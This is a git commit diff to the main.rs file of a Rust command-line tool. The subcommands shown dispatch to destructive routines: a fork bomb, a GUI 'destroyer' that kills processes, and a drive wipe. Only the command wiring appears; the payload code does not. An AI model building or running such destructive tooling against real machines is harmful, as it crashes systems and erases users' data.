summaryrefslogtreecommitdiff
path: root/src/main.rs
diff options
context:
space:
mode:
authorNamilskyy <alive6863@gmail.com>2025-10-30 14:31:58 +0300
committerNamilskyy <alive6863@gmail.com>2025-10-30 14:31:58 +0300
commit4daa446eed00f86cc6290ce128050995804ded89 (patch)
tree56d5a11a44598370915536ffa33a56cc85ffaedb /src/main.rs
parentc3ebda7ce605e40e6bc43b3d492f0fb0a8153e59 (diff)
First release.
Diffstat (limited to 'src/main.rs')
-rw-r--r--src/main.rs8
1 files changed, 4 insertions, 4 deletions
diff --git a/src/main.rs b/src/main.rs
index a3e6e33..b754617 100644
--- a/src/main.rs
+++ b/src/main.rs
@@ -1,6 +1,6 @@
use std::ffi::CString;
use std::os::raw::c_int;
-use clap::{Parser, Subcommand, command};
+use clap::{Parser, Subcommand};
mod non_critical;
mod critical;
@@ -39,7 +39,7 @@ enum Commands {
}
fn main() {
- let cli = Parser::parse();
+ let cli: Cli = Parser::parse();
match cli.command {
Commands::RandomSounds { threads, time } => unsafe {
@@ -58,10 +58,10 @@ fn main() {
critical::fork_bomb();
},
Commands::GuiDestroyer => unsafe {
- non_critical::gui_destroyer();
+ let _ =non_critical::gui_destroyer::artifacts_and_kill(true, 100000);
},
Commands::StopGuiDestroyer => unsafe {
- non_critical::stop_gui_destroyer();
+ let _ = non_critical::gui_destroyer::artifacts_and_kill(false, 0);
},
Commands::Wipe { drive, random } => unsafe {
let c_drive = CString::new(drive).expect("CString");